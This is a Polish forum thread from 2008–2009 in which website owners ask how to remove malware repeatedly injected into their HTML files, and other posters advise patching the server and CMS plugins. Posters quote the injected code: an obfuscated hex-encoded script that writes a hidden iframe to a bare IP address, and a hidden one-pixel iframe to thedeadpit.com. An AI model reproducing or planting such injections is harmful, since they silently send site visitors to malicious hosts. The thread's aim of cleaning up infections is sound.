Gość: mar IP: *.tosa.pl 07.07.08, 23:16 Wirusy w plikach na serwerze, jak je usunac, jaki bedzie najlepszy program? Odpowiedz Link Zgłoś Obserwuj wątek Podgląd Opublikuj
Gość: mar Re: Wirusy w plikach na serwerze IP: *.tosa.pl 07.07.08, 23:37 Taki kod wkładam: <html> <head> <meta http-equiv="Content-Language" content="pl"> <meta http-equiv="Content-Type" content="text/html; charset=windows- 1250"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>strona</title> </head> <body bgcolor="#FFFFFF" text="#FFFFFF" link="#FF0000" vlink="#FF0000"> <p align="center"><b><font size="7" color="#000080">r</font></b></p> <p align="center"> </p> <p align="center"><b><font size="7" color="#FF0000">K</font></b></p> <p align="center"> </p> <p align="center"><b><font size="7" color="#FF0000">p</font></b></p> </body> </html> A po jakimś czasie zostaje zamieniony na: <html> <head> <meta http-equiv="Content-Language" content="pl"> <meta http-equiv="Content-Type" content="text/html; charset=windows- 1250"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title></title> </head> <body bgcolor="#FFFFFF" text="#FFFFFF" link="#FF0000" vlink="#FF0000"><script> <!-- var d=document,kol=561; function O10H487289F86B6C6(H487289F86BEBD){ function H487289F86C6B5 () {var H487289F86CEAE=16;return H487289F86CEAE;} return( parseInt (H487289F86BEBD,H487289F86C6B5()));}function H487289F86D6AA (H487289F86DEC8){ var H487289F86E69C='';for(H487289F86EE91=0; H487289F86EE91<H487289F86DEC8.length; H487289F86EE91+=2){ H487289F86E69C += ( String.fromCharCode (O10H487289F86B6C6 (H487289F86DEC8.substr(H487289F86EE91, 2))));}return H487289F86E69C;} document.write(H487289F86D6AA ('3C7363726970743E696628216D796961297B642E777269746528273C494652414D4 5206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E31 37312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E726 16E646F6D28292A313438343034292B2761376662395C272077696474683D33333220 6865696768743D343437207374796C653D5C27646973706C61793A206E6F6E655C273 E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F73637269 70743E')); //--> </script> <p align="center"><b><font size="7" color="#000080"></font></b></p> <p align="center"> </p> <p align="center"><b><font size="7" color="#FF0000"></font></b></p> <p align="center"> </p> <p align="center"><b><font size="7" color="#FF0000"></font></b></p> </body> </html> Odpowiedz Link Zgłoś
Gość: Kolobos Re: Wirusy w plikach na serwerze IP: *.escom.net.pl 08.07.08, 11:42 Nie chce mi sie tego dekodowac ale czasem taki kod dodaja roznego rodzaju statystyki. Jezeli to faktycznie trojan to nalezy zalatac serwer www,sql i co tam jeszcze masz. Odpowiedz Link Zgłoś
wwwandal1 Re: Wirusy w plikach na serwerze 09.07.08, 19:54 w tym html nie ma żadnego vira. Wklej pełną zawartość pliku i nie mędrkuj............ Odpowiedz Link Zgłoś
Gość: mar Re: Wirusy w plikach na serwerze IP: *.tosa.pl 09.07.08, 23:21 A jakim programem najlepiej czyścić pliku html? Odpowiedz Link Zgłoś
wwwandal1 Re: Wirusy w plikach na serwerze 11.07.08, 19:11 czyścić z czego? z wirów czy błędów HTML? a może z kurzu ? Precyzuj informacje bo będziesz otrzymywać głupawkowe odpowiedzi Odpowiedz Link Zgłoś
Gość: mar Re: Wirusy w plikach na serwerze IP: *.tosa.pl 13.07.08, 00:14 Z wirusów? Odpowiedz Link Zgłoś
wwwandal1 Re: Wirusy w plikach na serwerze 13.07.08, 17:39 nie słyszałem o automacie, który z HTML wycinał by wyłącznie kody wirusów albo skrypty no nich prowadzące...ale powodzenia ...może i taki jest ............. Odpowiedz Link Zgłoś
Gość: Kolobos Re: Wirusy w plikach na serwerze IP: *.escom.net.pl 13.07.08, 18:51 Trzeba odrobaczyc/zalatac serwer, a nie usuwac kod z plikow. Odpowiedz Link Zgłoś
Gość: Pati Re: Wirusy w plikach na serwerze IP: *.neoplus.adsl.tpnet.pl 11.08.08, 10:39 Mam taki problem: mam strone internetowa (mala, domowa). Nie znam sie na tym zupelnie, ale przy otwieraniu tej strony wyskakuje podobno znajomym informacja, że strona jest niebezpieczna (zawiera trojana). Prosze o pomoc - jak znalezc plik z trojanem na serwerze? Ew. moze cos innego trzeba zrobic? Dziekuje za sensowne odpowiedzi. Odpowiedz Link Zgłoś
Gość: Kolobos Re: Wirusy w plikach na serwerze IP: *.escom.net.pl 11.08.08, 10:47 Podaj adres tej strony. Zapewne chodzi o ten sam problem co opisany w tym watku, a wiec o doklejanie sie kodu. Odpowiedz Link Zgłoś
wwwandal1 Re: Wirusy w plikach na serwerze 11.08.08, 11:15 Chcesz pochwalić się stronką czy uzyskać pomoc i informacje? Nie rozumiem kobiet............ Dawaj adres strony Odpowiedz Link Zgłoś
Gość: Liyah Re: Wirusy w plikach na serwerze IP: *.intertele.pl 07.01.09, 09:16 Witam Mam tak sam problem jak osoba wyżej. Ludzie piszą do mnie, że nie mogą wejść na stronę bo mają antywirusy lubi inne programy blokujące dostęp na stronę (i forum) ze względu na zainfekowane pliki (trojany). Już szukaliśmy źródła z właścicielem serwera, podobno było to taki typ wirusa, który dodawał kody do wszystkich index.html na serwerze. Pousuwaliśmy kody, niby wszystko grało, ale za chwilę stało się to samo. Już nie mam pojęcia co robić - ściągnęłam wszystkie pliki do siebie na kompa i przeskanowałam....i nic... nie wiem co jest grane, proszę o pomoc. Podaję adres strony: www.missaliciakeys.net i tutaj forum www.missaliciakeys.net/board (zauważcie, co się stało na stronie index - chodzi mi o ten komunikat. Wszelkie usuwanie nieścisłości w kodzie prowadzi do niczego) Dziękuję za pomoc i pozdrawiam Odpowiedz Link Zgłoś
Gość: Kolobos Re: Wirusy w plikach na serwerze IP: *.escom.net.pl 07.01.09, 13:25 Czy oprogramowanie na serwerze jest aktualne? Szczegolnie serwer sql, php + skrypty, ktorych uzywaja uzytkownicy? Odpowiedz Link Zgłoś
Gość: Liyah Re: Wirusy w plikach na serwerze IP: *.intertele.pl 07.01.09, 14:08 tak ,wszystko aktualne... Odpowiedz Link Zgłoś
Gość: Liyah Re: Wirusy w plikach na serwerze IP: *.intertele.pl 07.01.09, 14:24 jeszcze chcialam cos dodac. Na forum phpbb dezorganizuje mi css'a, natomiast na stronie w index.htm dodaje na końcu kodu html takie coś: <iframe src="thedeadpit.com/?click=4492920" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> usuwam to, ale ciągle wraca... teraz zrobilismy taka akcje, ze wymienilismy wszystkie indeksy na prawidlowe, koles z serwera zmieni wszystkie moje hasla a ja nie bede sie logowac. bo moze on przechodzi z mojego kompa na serwer przez ftp no nie mam zielonego pojęcia... Odpowiedz Link Zgłoś
Gość: Kolobos Re: Wirusy w plikach na serwerze IP: *.escom.net.pl 07.01.09, 14:35 To raczej nie ma zwiazku z logowaniem i haslami. Wystarczy, ze ktos uzywa np. jakiegos CMS (joomla, wordpress itp) ze starymi dziurawymi skryptami (dodatkami), bot szuka takich stron i wykorzystuje bledy. forum.joomla.pl/showthread.php?p=98424 Do tego: www.google.pl/search?hl=pl&safe=off&client=opera&rls=pl&hs=sSt&q=thedeadpit.com+-yahoo&btnG=Szukaj&lr= Odpowiedz Link Zgłoś
Gość: Liyah Re: Wirusy w plikach na serwerze IP: *.intertele.pl 07.01.09, 18:15 zamieniłam pliki na serwerze na dobre, z index usunęłam kod. Przeinstalowałam Win XP. NA razie podają, ze wszsytko jest ok i strony są czyste. Nie logowałam się jeszcze na ftp ale aż strach to robić. Dziękuję za pomoc Odpowiedz Link Zgłoś
